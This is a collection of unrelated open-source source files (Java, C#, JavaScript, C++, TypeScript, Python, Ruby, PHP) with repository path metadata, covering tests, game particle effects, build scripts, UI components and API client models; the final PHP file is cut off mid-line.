assertTrue(ex.getMessage().contains(IdmBasePermission.READ.toString())); } catch (Exception ex) { fail("Bad exception: " + ex.getMessage()); } // create authorization with SelfLongRunningTaskEvaluator getHelper().createAuthorizationPolicy(createRole.getId(), CoreGroupPermission.SCHEDULER, IdmLongRunningTask.class, SelfLongRunningTaskEvaluator.class, IdmBasePermission.READ); try { IdmLongRunningTaskDto longRunningTaskDto = longRunningTaskService.get(lrt.getId(), IdmBasePermission.READ); assertNotNull(longRunningTaskDto); assertEquals(lrt, longRunningTaskDto); } catch (ForbiddenEntityException ex) { fail("User has permission for read the long running task. " + ex.getMessage()); } catch (Exception ex) { fail("Bad exception: " + ex.getMessage()); } } }
bcvsolutions/CzechIdMng
Realization/backend/core/core-impl/src/test/java/eu/bcvsolutions/idm/core/bulk/action/impl/IdentityDisableBulkActionTest.java
Java
mit
9,528
using System; using System.Collections.Generic; using System.Linq; using System.Text; using Microsoft.Xna.Framework; namespace WarZ { public class ParticlesManager : DrawableGameComponent { private WarZGame WZGame; //PARTICLES // This sample uses five different particle systems. ParticleSystem explosionParticles; ParticleSystem explosionSmokeParticles; ParticleSystem projectileTrailParticles; ParticleSystem smokePlumeParticles; ParticleSystem fireParticles; const int fireParticlesPerFrame = 20; Random random = new Random(); List<Vector3> _smokeEmitterPosition = new List<Vector3>(20); List<Explosion> explosions = new List<Explosion>(20); List<Vector3> _fireEmitterPosition = new List<Vector3>(20); public ParticlesManager(WarZGame game) : base(game) { WZGame = game; explosionParticles = new ExplosionParticleSystem(WZGame); explosionSmokeParticles = new ExplosionSmokeParticleSystem(WZGame); projectileTrailParticles = new ProjectileTrailParticleSystem(WZGame); smokePlumeParticles = new SmokePlumeParticleSystem(WZGame); fireParticles = new FireParticleSystem(WZGame); // Set the draw order so the explosions and fire // will appear over the top of the smoke. smokePlumeParticles.DrawOrder = 150; explosionSmokeParticles.DrawOrder = 200; projectileTrailParticles.DrawOrder = 300; explosionParticles.DrawOrder = 400; fireParticles.DrawOrder = 500; // Register the particle system WZGame.Components. WZGame.Components.Add(explosionParticles); WZGame.Components.Add(explosionSmokeParticles); WZGame.Components.Add(projectileTrailParticles); WZGame.Components.Add(smokePlumeParticles); WZGame.Components.Add(fireParticles); } public override void Update(GameTime gameTime) { UpdateSmokePlume(); UpdateExplosions(gameTime); UpdateParticles(gameTime); UpdateFire(); base.Update(gameTime); } public override void Draw(GameTime gameTime) { DrawParticles(); base.Draw(gameTime); } public void AddSmokePlumeEmitter(Vector3 position) { _smokeEmitterPosition.Add(position); } public void AddFireEmitter(Vector3 position) { _fireEmitterPosition.Add(position); } public void UpdateFire() { foreach (Vector3 vector in _fireEmitterPosition) { // Create a number of fire particles, randomly positioned around a circle. for (int i = 0; i < fireParticlesPerFrame; i++) { fireParticles.AddParticle(RandomPointOnCircle(vector), Vector3.Zero); } // Create one smoke particle per frmae, too. smokePlumeParticles.AddParticle(RandomPointOnCircle(vector), Vector3.Zero); } } Vector3 RandomPointOnCircle(Vector3 position) { const float radius = 3; double angle = random.NextDouble() * Math.PI * 2; float x = (float)Math.Cos(angle); float z = (float)Math.Sin(angle); return new Vector3(x *radius + position.X, position.Y, -z * radius + position.Z); } public void ExplodeAt(Vector3 position) { explosions.Add(new Explosion(explosionParticles, explosionSmokeParticles) { Position = position }); } void UpdateExplosions(GameTime gameTime) { int i = 0; while (i < explosions.Count) { if (!explosions[i].Update(gameTime)) { // Remove projectiles at the end of their life. explosions.RemoveAt(i); } else { // Advance to the next projectile. i++; } } } public void UpdateSmokePlume() { foreach (Vector3 vector3 in _smokeEmitterPosition) { // This is trivial: we just create one new smoke particle per frame. smokePlumeParticles.AddParticle(vector3, Vector3.Zero); } } public void UpdateParticles(GameTime gameTime) { //PARTICLES explosionParticles.Update(gameTime); explosionSmokeParticles.Update(gameTime); smokePlumeParticles.Update(gameTime); fireParticles.Update(gameTime); } public void DrawParticles() { //particles explosionParticles.SetCamera(WZGame.ActiveCamera.View, WZGame.ActiveCamera.Projection); explosionSmokeParticles.SetCamera(WZGame.ActiveCamera.View, WZGame.ActiveCamera.Projection); smokePlumeParticles.SetCamera(WZGame.ActiveCamera.View, WZGame.ActiveCamera.Projection); fireParticles.SetCamera(WZGame.ActiveCamera.View, WZGame.ActiveCamera.Projection); } } }
vvolkgang/WarZ
src/WarZ/WarZ/3D/Particles/ParticlesManager.cs
C#
mit
5,427
import { onChange, getBits } from '../state' import { inputWidth, centerInputs } from './inputs' const $bits = document.getElementById('bits') const setBitsWidth = width => { $bits.style.width = inputWidth(width) centerInputs() } const setBitsValue = value => { setBitsWidth(value.length) $bits.value = value } $bits.addEventListener('input', ({ target: { value } }) => { setBits(value) }, false) $bits.addEventListener('keydown', ({ keyCode }) => { if (keyCode === 13) { // On Enter setBitsValue(getBits()) } }, false) const { setBits } = onChange(() => { setBitsValue(getBits()) })
hhelwich/floating-point-converter
src/gui/inputBits.js
JavaScript
mit
610
var plugin = require("./plugin"); module.exports = function(PluginHost) { var app = PluginHost.owner; /** * used like so: * --external-aliases privateapi,privateAPI,hiddenAPI * or * -ea privateapi,privateAPI */ app.options.addDeclaration({ name: 'external-aliases', short: 'ea' }); /** * used like so: * --internal-aliases publicapi * or * -ia publicapi */ app.options.addDeclaration({ name: 'internal-aliases', short: 'ia' }); app.converter.addComponent('internal-external', plugin.InternalExternalPlugin); };
arindamangular/ShopNow
node_modules/angular-ui-router/node_modules/typedoc-plugin-internal-external/index.js
JavaScript
mit
555
var gulp = require('gulp'), plugins = require('gulp-load-plugins')(), Karma = require('karma').Server; var paths = { scripts: { src: ['src/**/*.js'], dest: 'dist', file: 'mention.js' }, styles: { src: ['src/**/*.scss'], dest: 'dist', file: 'mention.css' }, example: { scripts: { src: ['example/**/*.es6.js'], dest: 'example', file: 'example.js' }, styles: { src: ['example/**/*.scss'], dest: 'example' } } }; gulp.task('default', ['scripts']); gulp.task('example', ['scripts:example', 'styles:example']); gulp.task('watch', function(){ gulp.watch(paths.scripts.src, 'scripts'); gulp.watch(paths.styles.src, 'styles'); }); gulp.task('watch:example', function(){ gulp.watch(paths.example.scripts.src, 'scripts:example'); gulp.watch(paths.example.styles.src, 'styles:example'); }); gulp.task('scripts', scripts(paths.scripts)); gulp.task('scripts:example', scripts(paths.example.scripts)); function scripts(path, concat) { return function() { return gulp.src(path.src) .pipe(plugins.sourcemaps.init()) .pipe(plugins.babel()) .pipe(plugins.angularFilesort()) .pipe(plugins.concat(path.file)) .pipe(gulp.dest(path.dest)) .pipe(plugins.uglify({ mangle: false })) .pipe(plugins.extReplace('.min.js')) .pipe(gulp.dest(path.dest)) .pipe(plugins.sourcemaps.write('.')); } } gulp.task('styles', styles(paths.styles)); gulp.task('styles:example', styles(paths.example.styles)); function styles(path) { return function() { return gulp.src(path.src) .pipe(plugins.sourcemaps.init()) .pipe(plugins.sass()) .pipe(gulp.dest(path.dest)) .pipe(plugins.sourcemaps.write('.')); } } gulp.task('karma', karma()); gulp.task('watch:karma', karma({ singleRun: false, autoWatch: true })); function karma (opts) { opts = opts || {}; opts.configFile = __dirname + '/karma.conf.js'; return function (done) { return new Karma(opts, done).start(); } }
kasperlewau/ui-mention
gulpfile.js
JavaScript
mit
2,033
#include "TestBase.h" const char *testPostExpressions = "typedef char[] string;\r\n\ \r\n\ int string:find(char a)\r\n\ {\r\n\ int i = 0;\r\n\ while(i < this.size && this[i] != a)\r\n\ i++;\r\n\ if(i == this.size)\r\n\ i = -1;\r\n\ return i;\r\n\ }\r\n\ \r\n\ int a = (\"hello\").size + \"me\".size;\r\n\ int b = (\"hi\" + \"me\").size;\r\n\ \r\n\ int l = (\"Pota\" + \"to\").find('a');\r\n\ int l2 = (\"Potato\").find('t');\r\n\ \r\n\ auto str = \"hello\";\r\n\ int l3 = str.find('o');\r\n\ char[] str2 = \"helloworld\";\r\n\ int l4 = str.find('3');\r\n\ \r\n\ int a2 = ({1, 2, 3}).size;\r\n\ int a3 = {1, 2, 3}.size;\r\n\ int a4 = \"as\".size;\r\n\ \r\n\ return 0;"; TEST("Post expressions on arrays and strings", testPostExpressions, "0") { CHECK_INT("a", 0, 9, lastFailed); CHECK_INT("b", 0, 5, lastFailed); CHECK_INT("l", 0, 3, lastFailed); CHECK_INT("l2", 0, 2, lastFailed); CHECK_INT("l3", 0, 4, lastFailed); CHECK_INT("l4", 0, -1, lastFailed); CHECK_INT("a2", 0, 3, lastFailed); CHECK_INT("a3", 0, 3, lastFailed); CHECK_INT("a4", 0, 3, lastFailed); } const char *testPreAndPostOnGroupA = "int x = 1, y = 9, z = 101, w = 1001;\r\n\ int ref xr = &x, yr = &y, zr = &z, wr = &w;\r\n\ (*xr)++; ++(*yr); (*zr)--; --(*wr);\r\n\ return x + y + z + w;"; TEST_RESULT("Prefix and postfix expressions on expression in parentheses 1.", testPreAndPostOnGroupA, "1112"); const char *testPreAndPostOnGroupB = "int x = 1, y = 9, z = 101, w = 1001;\r\n\ int ref[] r = { &x, &y, &z, &w };\r\n\ (*r[0])++; ++(*r[1]); (*r[2])--; --(*r[3]);\r\n\ return x + y + z + w;"; TEST_RESULT("Prefix and postfix expressions on expression in parentheses 2.", testPreAndPostOnGroupB, "1112"); const char *testFunctionResultDereference = "int ref test(auto ref x){ return int ref(x); }\r\n\ return -*test(5);"; TEST_RESULT("Dereference of function result.", testFunctionResultDereference, "-5");
WheretIB/nullc
tests/TestPostExpr.cpp
C++
mit
1,952
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. // Code generated by Microsoft (R) AutoRest Code Generator. package com.azure.resourcemanager.compute.fluent.models; import com.azure.core.annotation.Fluent; import com.azure.core.util.logging.ClientLogger; import com.azure.resourcemanager.compute.models.GalleryIdentifier; import com.azure.resourcemanager.compute.models.GalleryPropertiesProvisioningState; import com.fasterxml.jackson.annotation.JsonIgnore; import com.fasterxml.jackson.annotation.JsonProperty; /** Describes the properties of a Shared Image Gallery. */ @Fluent public final class GalleryProperties { @JsonIgnore private final ClientLogger logger = new ClientLogger(GalleryProperties.class); /* * The description of this Shared Image Gallery resource. This property is * updatable. */ @JsonProperty(value = "description") private String description; /* * Describes the gallery unique name. */ @JsonProperty(value = "identifier") private GalleryIdentifier identifier; /* * The current state of the gallery. The provisioning state, which only * appears in the response. */ @JsonProperty(value = "provisioningState", access = JsonProperty.Access.WRITE_ONLY) private GalleryPropertiesProvisioningState provisioningState; /** * Get the description property: The description of this Shared Image Gallery resource. This property is updatable. * * @return the description value. */ public String description() { return this.description; } /** * Set the description property: The description of this Shared Image Gallery resource. This property is updatable. * * @param description the description value to set. * @return the GalleryProperties object itself. */ public GalleryProperties withDescription(String description) { this.description = description; return this; } /** * Get the identifier property: Describes the gallery unique name. * * @return the identifier value. */ public GalleryIdentifier identifier() { return this.identifier; } /** * Set the identifier property: Describes the gallery unique name. * * @param identifier the identifier value to set. * @return the GalleryProperties object itself. */ public GalleryProperties withIdentifier(GalleryIdentifier identifier) { this.identifier = identifier; return this; } /** * Get the provisioningState property: The current state of the gallery. The provisioning state, which only appears * in the response. * * @return the provisioningState value. */ public GalleryPropertiesProvisioningState provisioningState() { return this.provisioningState; } /** * Validates the instance. * * @throws IllegalArgumentException thrown if the instance is not valid. */ public void validate() { if (identifier() != null) { identifier().validate(); } } }
Azure/azure-sdk-for-java
sdk/resourcemanagerhybrid/azure-resourcemanager-compute/src/main/java/com/azure/resourcemanager/compute/fluent/models/GalleryProperties.java
Java
mit
3,142
import { StyleSheet } from 'react-native' const s = StyleSheet.create({ flexRowAround: { flexDirection: 'row', justifyContent: 'space-around', }, dot: { height: 7, width: 7, borderRadius: 3.5, }, green: { color: '#50d2c2', }, flexWrap: { flexWrap: 'wrap', }, textCenter: { textAlign: 'center', }, flex: { flex: 1, }, activeMonth:{ backgroundColor: '#50d2c2', borderRadius: 5 }, justifyCenter: { justifyContent: 'center', }, alignCenter: { alignItems: 'center', }, row: { flexDirection: 'row', }, column: { flexDirection: 'column', }, flexAround: { justifyContent: 'space-around', }, flexBetween: { justifyContent: 'space-between', }, activeWeek: { backgroundColor: '#50d2c2', }, activeCalender: { backgroundColor: '#fff', }, pTop: { paddingTop: 13, paddingBottom: 5, }, pBottom: { paddingBottom: 13, }, p: { paddingTop: 13, paddingBottom: 13, }, weekView: { backgroundColor: '#f8f8f8', }, calenderView: { backgroundColor: '#50d2c2', }, disabledMonth: { color: '#9be5db', }, white: { color: '#fff', }, backWhite: { backgroundColor: '#fff', }, }); export default s export const setHeight = height => ({ height }); export const setWidth = width => ({ width }); export const setPaddingTop = paddingTop => ({ paddingTop }); export const setPaddingBottom = paddingBottom => ({ paddingBottom }); export const setPaddingLeft = paddingLeft => ({ paddingLeft }); export const setPaddingRight = paddingRight => ({ paddingRight }); export const setFontSize = fontSize => ({ fontSize }); export const setFlex = flex => ({ flex }); export const setColor = color => ({ color }); export const setBackGroundColor = backgroundColor => ({ backgroundColor }); export const setBorderColor = borderColor => ({ borderColor }); export const setPosition = position => ({ position }); export const setBottom = bottom => ({ bottom }); export const setLeft = left => ({ left }); export const setRight = right => ({ right }); export const setTop = top => ({ top }); export const setMarginTop = marginTop => ({ marginTop }); export const setMarginBottom = marginBottom => ({ marginBottom }); export const setMarginLeft = marginLeft => ({ marginLeft }); export const setMarginRight = marginRight => ({ marginRight }); export const setPadding = function() { switch (arguments.length) { case 1: return { paddinTop: arguments[0] } case 2: return { paddingTop: arguments[0], paddingRight: arguments[1] } case 3: return { paddingTop: arguments[0], paddingRight: arguments[1], paddingBottom: arguments[2] } case 4: return { paddingTop: arguments[0], paddingRight: arguments[1], paddingBottom: arguments[2], paddingLeft: arguments[3] } default: return { padding: arguments[0] } } } export const setMargin = function() { switch (arguments.length) { case 1: return { paddinTop: arguments[0] } case 2: return { marginTop: arguments[0], marginRight: arguments[1] } case 3: return { marginTop: arguments[0], marginRight: arguments[1], marginBottom: arguments[2] } case 4: return { marginTop: arguments[0], marginRight: arguments[1], marginBottom: arguments[2], marginLeft: arguments[3] } default: return { margin: arguments[0] } } }
SeunLanLege/react-native-mobx-calender
src/styles.js
JavaScript
mit
3,411
# frozen_string_literal: true require 'wegift/version' require 'wegift/client' require 'wegift/models/initializable' require 'wegift/models/response' require 'wegift/models/product' require 'wegift/models/products' require 'wegift/models/order' module Wegift end
kendrikat/wegift-ruby-client
lib/wegift.rb
Ruby
mit
266
exports.CLI = require(__dirname + '/lib/cli'); exports.Events = require(__dirname + '/lib/events');
krg7880/node-stubby-server-cli
index.js
JavaScript
mit
99
import {AbstractControl, FormBuilder, FormGroup, Validators} from "@angular/forms"; import {DatePickerOptions} from "ng2-datepicker"; import {MatchesDataStoreService} from "../../matches-data-store"; import {MatchesConstants} from "../../matches.constant.service"; import {IOption} from "ng-select"; import {Component, EventEmitter, Output} from "@angular/core"; import {Subject} from "rxjs/Subject"; import {MatchesService} from "../../../../common/services/matches.service"; /** * Created by HudaZulifqar on 8/22/2017. */ /* tslint:disable */ @Component({ selector: 'score-basic-details', templateUrl: 'basic.details.html', //styleUrls: ['../../../../theme/components/baCheckbox/baCheckbox.scss'], styleUrls: ['../submitScore.scss'], }) export class matchBasicDetailsComponent { @Output() notify_homeTeam: EventEmitter<string> = new EventEmitter<string>(); @Output() notify_awayTeam: EventEmitter<string> = new EventEmitter<string>(); @Output() notify_date: EventEmitter<string> = new EventEmitter<string>(); @Output() notify_matchCall: EventEmitter<string> = new EventEmitter<string>(); private ngUnsubscribe: Subject<void> = new Subject<void>(); //@Input() innings: string; options: DatePickerOptions; inningsId: number; submiScoreStatus: any; public form: FormGroup; // public extrasDetails public name: AbstractControl; public teams; public password: AbstractControl; //FIRSR BLOCK public league_id: AbstractControl; public season: AbstractControl; public week: AbstractControl; weekNo: number; selectedLeague: string; public ground_id: AbstractControl; public ground_name: AbstractControl; public result: AbstractControl; public game_date; public dateFlag: boolean = true; //Second Blcok: drop down public awayteam: AbstractControl; public hometeam: AbstractControl; public umpireTeam: AbstractControl; public toss_won_id: AbstractControl; public batting_first_id: AbstractControl; public batting_second_id: AbstractControl; public result_won_id: AbstractControl; public umpire1: AbstractControl; public umpire2: AbstractControl; public mom: AbstractControl; public maxovers: AbstractControl; public matchResult: AbstractControl; //Results options public completed: AbstractControl; public forfeit: AbstractControl; public cancelled: AbstractControl; public tied: AbstractControl; public cancelledplay: AbstractControl; private teamsname; teamsList: Array<any>; myOptions2: any; dateValue: any = null; playersList: Array<any>; batFirstPlayers: Array<any>; batSecondPlayers: Array<any>; playersByTeamsIds: Array<any>; playersForHomeTeam: Array<any>; playersForAwayTeam: Array<any>; playersForUmpiringTeam: Array<any>; matchByDate; homeTeamsIds: Array<number> = []; awayTeamsIds: Array<number> = []; umpiringTeamsIds: Array<number> = []; teams_playings: Array<IOption> = [ {label: 'Select Home Team First', value: '0'}, {label: 'Select Guest Team First', value: '0'} ]; public submitted_step1: boolean = false; public submitted_step2: boolean = false; public battingForm: FormGroup; public battingName: AbstractControl; constructor(fb: FormBuilder, private matchesService: MatchesService, private matchesConstants: MatchesConstants, private matchesDataStoreService: MatchesDataStoreService) { this.options = new DatePickerOptions(); this.form = fb.group({ 'name': ['', Validators.compose([Validators.required, Validators.minLength(4)])], 'league_id': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'season': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'ground_id': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'ground_name': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'week': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'result': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'game_date': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'awayteam': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'hometeam': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'umpireTeam': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'toss_won_id': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'batting_first_id': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'batting_second_id': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'result_won_id': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'umpire1': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'umpire2': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'mom': ['', Validators.compose([Validators.required, Validators.minLength(1000000)])], 'maxovers': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'matchResult': ['', Validators.compose([Validators.required, Validators.minLength(1)])], //Results options 'completed': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'forfeit': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'cancelled': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'tied': ['', Validators.compose([Validators.required, Validators.minLength(1)])], 'cancelledplay': ['', Validators.compose([Validators.required, Validators.minLength(1)])], }); this.name = this.form.controls['name']; this.teams = this.form.controls['teams']; this.league_id = this.form.controls['league_id']; this.season = this.form.controls['season']; this.ground_id = this.form.controls['ground_id']; this.ground_name = this.form.controls['ground_name']; this.week = this.form.controls['week']; this.result = this.form.controls['result']; this.game_date = this.form.controls['game_date']; this.awayteam = this.form.controls['awayteam']; this.hometeam = this.form.controls['hometeam']; this.umpireTeam = this.form.controls['umpireTeam']; this.toss_won_id = this.form.controls['toss_won_id']; this.batting_first_id = this.form.controls['batting_first_id']; this.batting_second_id = this.form.controls['batting_second_id']; this.result_won_id = this.form.controls['result_won_id']; this.umpire1 = this.form.controls['umpire1']; this.umpire2 = this.form.controls['umpire2']; this.mom = this.form.controls['mom']; this.maxovers = this.form.controls['maxovers']; this.matchResult = this.form.controls['matchResult']; //Results options this.completed = this.form.controls['completed']; this.forfeit = this.form.controls['forfeit']; this.cancelled = this.form.controls['cancelled']; this.tied = this.form.controls['tied']; this.cancelledplay = this.form.controls['cancelledplay']; this.battingForm = fb.group({ 'battingName': ['', Validators.compose([Validators.required, Validators.minLength(4)])], }); this.battingName = this.battingForm.controls['battingName']; } ngOnInit(): void { this.getTeamslist(); this.getPlayerslist(); console.warn("dateValue : ", this.dateValue) this.myOptions2 = { theme: 'green', range: 'tm', dayNames: ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun'], presetNames: ['This Month', 'Last Month', 'This Week', 'Last Week', 'This Year', 'Last Year', 'Start', 'End'], dateFormat: 'yMd', outputFormat: 'MM/DD/YYYY', startOfWeek: 1 }; } //eague_id,season,week,awayteam,hometeam,game_date,result_won_id,forfeit,mom,umpire1,umpire2,maxovers,isactive checkLeagues = this.matchesConstants.getLeagues() checkVenues = this.matchesConstants.getCheckVenues(); checkResults = this.matchesConstants.getCheckResults(); checkStatus = this.matchesConstants.getYesNo(); public checkboxPropertiesMapping = { model: 'checked', value: 'name', label: 'name', baCheckboxClass: 'class' }; getTeamslist() { console.info("Fetching results for teams list :") const teams$ = this.matchesService.getTeamslist(); console.log('this.teamsname', this.teamsList) teams$.takeUntil(this.ngUnsubscribe).subscribe(responce => this.teamsList = responce, (err) => console.error(err), () => console.info("responce for teamList", this.teamsList)); } getPlayerslist() { console.info("Fetching Players list") const teams$ = this.matchesService.getPlayerslist(); teams$.takeUntil(this.ngUnsubscribe).subscribe(responce => this.playersList = responce, (err) => console.error(err), () => console.info("responce", this.playersList)); } playersListByTeamsIds(teamIds) { console.info("Fetching Players list for TeamsIds: ", teamIds) const teams$ = this.matchesService.getPlayersByTeamsIds(teamIds); teams$.takeUntil(this.ngUnsubscribe).subscribe(responce => this.playersByTeamsIds = responce, (err) => console.error(err), () => console.info("responce", this.playersList)); } onSelected(type: any, value: any) { console.log('type: ', type, ' value: ', value); (this.form.controls[type]).setValue(value); } onTeamsSelected(type: any, value: any) { console.info("onTeamsSelected: Type:", type, 'Value: ', value) if (type === 'homeTeamsPortable' || type === 'homeTeam') { this.homeTeamsIds.push(value); if (type === 'homeTeam') { console.info("Fetching Players for Home Teams with => Ids: ", this.homeTeamsIds) const teams$ = this.matchesService.getPlayersByTeamsIds(this.homeTeamsIds); teams$.takeUntil(this.ngUnsubscribe).subscribe(responce => this.playersForHomeTeam = responce); } } if (type === 'awayTeamsPortable' || type === 'awayTeam') { this.awayTeamsIds.push(value); if (type === 'awayTeam') { console.info("Fetching Players for Away with => Ids: ", this.awayTeamsIds) const teams$ = this.matchesService.getPlayersByTeamsIds(this.awayTeamsIds); teams$.takeUntil(this.ngUnsubscribe).subscribe(responce => this.playersForAwayTeam = responce); } } if (type === 'umpiringTeam') { this.umpiringTeamsIds.push(value); console.info("Fetching Players for Umpiring with => Ids: ", this.umpiringTeamsIds) const teams$ = this.matchesService.getPlayersByTeamsIds(this.umpiringTeamsIds); teams$.takeUntil(this.ngUnsubscribe).subscribe(responce => this.playersForUmpiringTeam = responce); } } battingOrderStatus(teamId) { console.log('homeTeam Ids ', this.homeTeamsIds); if (this.homeTeamsIds.indexOf(teamId) > -1) { console.log("Home Team is Batting First id: ", teamId) this.batFirstPlayers = this.playersForHomeTeam; this.batSecondPlayers = this.playersForAwayTeam; } else { console.log("Away Team is Batting First id: ", teamId) this.batFirstPlayers = this.playersForAwayTeam; this.batSecondPlayers = this.playersForHomeTeam; } } onSelectedResult(type: any, value: any) { console.log('type: ', type, ' value: ', value); if (type == 'forfeit') { (this.form.controls[type]).setValue(value); (this.form.controls['cancelled']).setValue(0); (this.form.controls['tied']).setValue(0); (this.form.controls['cancelledplay']).setValue(0); } else if (type == 'completed') { (this.form.controls[type]).setValue(value); (this.form.controls['forfeit']).setValue(0); (this.form.controls['cancelled']).setValue(0); (this.form.controls['tied']).setValue(0); (this.form.controls['cancelledplay']).setValue(0); } else if (type == 'cancelled') { (this.form.controls[type]).setValue(value); (this.form.controls['completed']).setValue(0); (this.form.controls['forfeit']).setValue(0); (this.form.controls['tied']).setValue(0); (this.form.controls['cancelledplay']).setValue(0); } else if (type == 'tied') { (this.form.controls[type]).setValue(value); (this.form.controls['completed']).setValue(0); (this.form.controls['cancelled']).setValue(0); (this.form.controls['forfeit']).setValue(0); (this.form.controls['cancelledplay']).setValue(0); } else if (type == 'cancelledplay') { (this.form.controls[type]).setValue(value); (this.form.controls['completed']).setValue(0); (this.form.controls['cancelled']).setValue(0); (this.form.controls['forfeit']).setValue(0); (this.form.controls['tied']).setValue(0); } } dateEmit() { if (this.dateValue != null || this.dateValue == 'undefined') { this.notify_date.emit(this.dateValue); } } playing_teams(type: any, obj: any) { console.log('type: ', type, ' obj: ', obj) if (type === 'hometeam') { //Passing value to parent ***** !!! this.notify_homeTeam.emit(obj); this.dateEmit(); //Passing value to parent ***** !! this.teams_playings[0].label = obj.label; this.teams_playings[0].value = obj.value; } if (type === 'awayteam') { //Passing value to parent ***** !!! this.notify_awayTeam.emit(obj); this.dateEmit(); //Passing value to parent ***** !! this.teams_playings[1].label = obj.label this.teams_playings[1].value = obj.value } console.log('Playing teams for Match :: ', this.teams_playings) } onNotify(val: any): void { console.log('this.totalsForm.value frrom total in Parent: ', val) } onNotify_batting(val: any): void { console.log('Batting_parent ==> this.totalsForm.value: ', val) } player_out_type = this.matchesConstants.getPlayerOutType(); batting_poistion = this.matchesConstants.getBattingPositions(); public onSubmitBasicDetails(values: Object): void { this.submitted_step1 = true; this.inningsId = 1; let matchDetailsObject = values; //Making sure only date value submitting instead whole date object //this.dateValue ? this.dateValue.formatted : this.dateValue; this.dateValue ? matchDetailsObject['game_date'] = this.dateValue.formatted : this.dateValue; console.log(" ***onSubmitBasicDetails**** HTTP Request => ", matchDetailsObject); this.matchesService.updateScorecardGameDetails(matchDetailsObject).takeUntil(this.ngUnsubscribe).subscribe( res => this.submiScoreStatus = res, (err) => console.error('onSubmitBasicDetails: Res Error =>', err), () => this.notify_matchCall.emit(this.dateValue)); } ngOnDestroy() { this.ngUnsubscribe.next(); this.ngUnsubscribe.complete(); } }
malikme3/angular4
src/app/ctcl/Matches/components/submit.score/match.basic.details.component/basic.details.component.ts
TypeScript
mit
14,964
using System; namespace Ducksoft.SOA.Common.Filters { /// <summary> /// Class which is used to store filter changed event arguments. /// </summary> public class SortChangedEventArgs : EventArgs { /// <summary> /// Gets a value indicating whether this instance is reset. /// </summary> /// <value> /// <c>true</c> if this instance is reset; otherwise, <c>false</c>. /// </value> public bool IsRefresh { get; private set; } /// <summary> /// Initializes a new instance of the <see cref="SortChangedEventArgs" /> class. /// </summary> /// <param name="isRefresh">if set to <c>true</c> [is refresh].</param> public SortChangedEventArgs(bool isRefresh) : base() { IsRefresh = isRefresh; } } }
hpsanampudi/Ducksoft.Soa.Common
Filters/SortChangedEventArgs.cs
C#
mit
844
import json from chargebee.model import Model from chargebee import request from chargebee import APIError class Plan(Model): class Tier(Model): fields = ["starting_unit", "ending_unit", "price", "starting_unit_in_decimal", "ending_unit_in_decimal", "price_in_decimal"] pass class ApplicableAddon(Model): fields = ["id"] pass class AttachedAddon(Model): fields = ["id", "quantity", "billing_cycles", "type", "quantity_in_decimal"] pass class EventBasedAddon(Model): fields = ["id", "quantity", "on_event", "charge_once", "quantity_in_decimal"] pass fields = ["id", "name", "invoice_name", "description", "price", "currency_code", "period", \ "period_unit", "trial_period", "trial_period_unit", "trial_end_action", "pricing_model", "charge_model", \ "free_quantity", "setup_cost", "downgrade_penalty", "status", "archived_at", "billing_cycles", \ "redirect_url", "enabled_in_hosted_pages", "enabled_in_portal", "addon_applicability", "tax_code", \ "hsn_code", "taxjar_product_code", "avalara_sale_type", "avalara_transaction_type", "avalara_service_type", \ "sku", "accounting_code", "accounting_category1", "accounting_category2", "accounting_category3", \ "accounting_category4", "is_shippable", "shipping_frequency_period", "shipping_frequency_period_unit", \ "resource_version", "updated_at", "giftable", "claim_url", "free_quantity_in_decimal", "price_in_decimal", \ "invoice_notes", "taxable", "tax_profile_id", "meta_data", "tiers", "applicable_addons", "attached_addons", \ "event_based_addons", "show_description_in_invoices", "show_description_in_quotes"] @staticmethod def create(params, env=None, headers=None): return request.send('post', request.uri_path("plans"), params, env, headers) @staticmethod def update(id, params=None, env=None, headers=None): return request.send('post', request.uri_path("plans",id), params, env, headers) @staticmethod def list(params=None, env=None, headers=None): return request.send_list_request('get', request.uri_path("plans"), params, env, headers) @staticmethod def retrieve(id, env=None, headers=None): return request.send('get', request.uri_path("plans",id), None, env, headers) @staticmethod def delete(id, env=None, headers=None): return request.send('post', request.uri_path("plans",id,"delete"), None, env, headers) @staticmethod def copy(params, env=None, headers=None): return request.send('post', request.uri_path("plans","copy"), params, env, headers) @staticmethod def unarchive(id, env=None, headers=None): return request.send('post', request.uri_path("plans",id,"unarchive"), None, env, headers)
chargebee/chargebee-python
chargebee/models/plan.py
Python
mit
2,784
<?php namespace denbora\R_T_G_Services\services\REST; use denbora\R_T_G_Services\R_T_G_ServiceException; class GameService extends RestService { /** * First part in url after /api/ */ const API_URL = 'games'; /** * @param $query * @param null $array * @param string $endpoint * @return bool|mixed * @throws R_T_G_ServiceException */ private function callGet($query, $array = null, $endpoint = '') { if ($query != '' || $this->validator->call('validate', $query)) { return $this->get($this->createGetFullUrl($query, self::API_URL, $array, $endpoint)); } return false; } /** * @param string $query * @return bool|mixed * @throws R_T_G_ServiceException */ public function getGames($query = '') { return $this->callGet($query); } /** * @param string $query * @return bool|mixed * @throws R_T_G_ServiceException */ public function getDetails($query = '') { return $this->callGet($query, array('gameId'), 'details'); } /** * @param string $query * @return bool|mixed * @throws R_T_G_ServiceException */ public function getFlash($query = '') { return $this->callGet($query, '', 'flash'); } /** * @param string $query * @return bool|mixed * @throws R_T_G_ServiceException */ public function getActive($query = '') { return $this->callGet($query, '', 'active'); } /** * @param string $query * @return bool|mixed * @throws R_T_G_ServiceException */ public function getFavorite($query = '') { return $this->callGet($query, '', 